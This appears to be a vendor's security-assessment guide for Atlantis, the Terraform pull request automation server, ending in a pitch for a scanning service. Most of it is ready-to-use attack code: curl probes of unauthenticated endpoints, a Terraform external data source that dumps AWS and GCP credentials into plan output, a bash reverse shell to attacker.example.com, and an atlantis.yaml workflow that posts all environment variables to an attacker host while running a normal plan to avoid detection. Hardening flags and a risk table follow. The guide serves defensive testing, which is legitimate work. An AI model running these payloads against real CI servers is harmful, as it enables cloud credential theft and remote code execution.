Atlantis is a popular Terraform pull request automation tool that runs terraform plan and apply on a central server triggered by pull request comments. Its unique threat model means: any developer who can open a pull request can execute arbitrary code on the Atlantis server by including a malicious Terraform external data source or provider, the Atlantis server environment holds production cloud credentials (AWS, GCP, Azure) needed to run Terraform — any code execution leads directly to cloud credential theft, plan output comments on pull requests reveal current infrastructure state including potentially sensitive resource attributes to all PR viewers, the GitHub/GitLab webhook secret protects against forged events but misconfiguration removes this protection, and the atlantis.yaml workflow configuration can be modified in a PR to execute arbitrary shell commands. This guide covers systematic Atlantis security assessment.
# Atlantis default port: 4141
# Atlantis exposes a web UI at /
# Check if Atlantis UI is accessible (no auth by default on many deployments)
curl -s http://atlantis.example.com:4141/ 2>/dev/null | grep -i "atlantis" | head -5
# Atlantis API endpoints
# GET /healthz — health check, no auth
curl -s http://atlantis.example.com:4141/healthz 2>/dev/null | python3 -m json.tool | head -5
# Check Atlantis configuration exposed via API (no auth needed if not configured)
curl -s http://atlantis.example.com:4141/api/v1/repos 2>/dev/null | head -10
# Check if Atlantis allows Terraform plan/apply from any contributor
# (key: is the "allow-fork-prs" or "allow-all-server-side-workflows" setting enabled?)
curl -s http://atlantis.example.com:4141/api/v1/server-config 2>/dev/null | head -10
# Atlantis runs `terraform plan` and `apply` on a server
# An external_data source with shell commands runs on that server
# Malicious Terraform to exfiltrate credentials via external data source
# File: main.tf (in a PR)
cat > /tmp/rce-main.tf << 'EOF'
data "external" "exfil" {
program = ["bash", "-c", <<-SCRIPT
# Read cloud credentials from environment
echo "{\"aws_access_key\": \"$AWS_ACCESS_KEY_ID\",\"aws_secret\": \"$AWS_SECRET_ACCESS_KEY\",\"aws_token\": \"$AWS_SESSION_TOKEN\",\"gcp_creds\": \"$(cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null | head -1)\"}"
SCRIPT
]
}
output "result" {
value = data.external.exfil.result
}
EOF
# When a PR containing this runs `atlantis plan`, the credentials appear in the plan output
# Reverse shell via Terraform external data source
cat > /tmp/shell-main.tf << 'EOF'
data "external" "shell" {
program = ["bash", "-c", "bash -i >& /dev/tcp/attacker.example.com/4444 0>&1 & echo '{\"result\": \"ok\"}'"]
}
EOF
# This executes when `atlantis plan` is triggered on the PR
# If atlantis.yaml is allowed to define custom workflows, any PR can override it
# File: atlantis.yaml (in PR root)
cat > /tmp/atlantis.yaml << 'EOF'
version: 3
projects:
- name: malicious
dir: .
workflow: exfil
workflows:
exfil:
plan:
steps:
- run: |
# Exfiltrate all env vars including cloud credentials
env | curl -s -X POST https://attacker.example.com/exfil \
--data-binary @- -H "Content-Type: text/plain" || true
# Then run legitimate plan to avoid detection
terraform plan -out=$PLANFILE
apply:
steps:
- run: terraform apply $PLANFILE
EOF
# This yaml executes the run steps instead of the default terraform commands
# when `atlantis plan` is triggered on a PR that includes this file
# Check if server-side-workflows is disabled (prevents this attack)
# If atlantis server config has --allow-repo-config=false, the above won't work
--require-approval — require a second person to approve atlantis apply after plan output review--allow-repo-config — prevent per-repo atlantis.yaml from overriding server-side workflows with arbitrary shell commands--repo-allowlist and --restrict-file-list--gh-webhook-secret — prevents forged webhook events from triggering plans--automerge and --require-approval--var-file-allowlist| Security Test | Method | Risk |
|---|---|---|
| RCE via external data source in PR Terraform | Include data "external" with reverse shell — trigger atlantis plan via PR comment | Critical |
| Cloud credential theft via plan output | Read env vars (AWS_ACCESS_KEY_ID) from external data source — printed in plan output | Critical |
| atlantis.yaml workflow shell command injection | Add custom workflow with run: step executing arbitrary shell — if repo config allowed | High |
| Webhook secret not configured | POST forged GitHub webhook to /events — triggers plan on attacker-controlled repo | High |
| Plan output reveals infrastructure state | Read PR comments — resource attributes including secrets visible in plan diff | Medium |
| Atlantis UI accessible without authentication | Browse :4141 — lists repos, recent plans, apply status without login | Medium |
Ironimo tests Atlantis Terraform automation deployments for RCE via malicious external data sources in pull requests, cloud credential theft from server environment variables, atlantis.yaml workflow shell command injection, webhook secret bypass enabling forged plan triggers, plan output information disclosure revealing infrastructure state, and unauthenticated Atlantis UI access exposing repository and deployment history.
Start free scan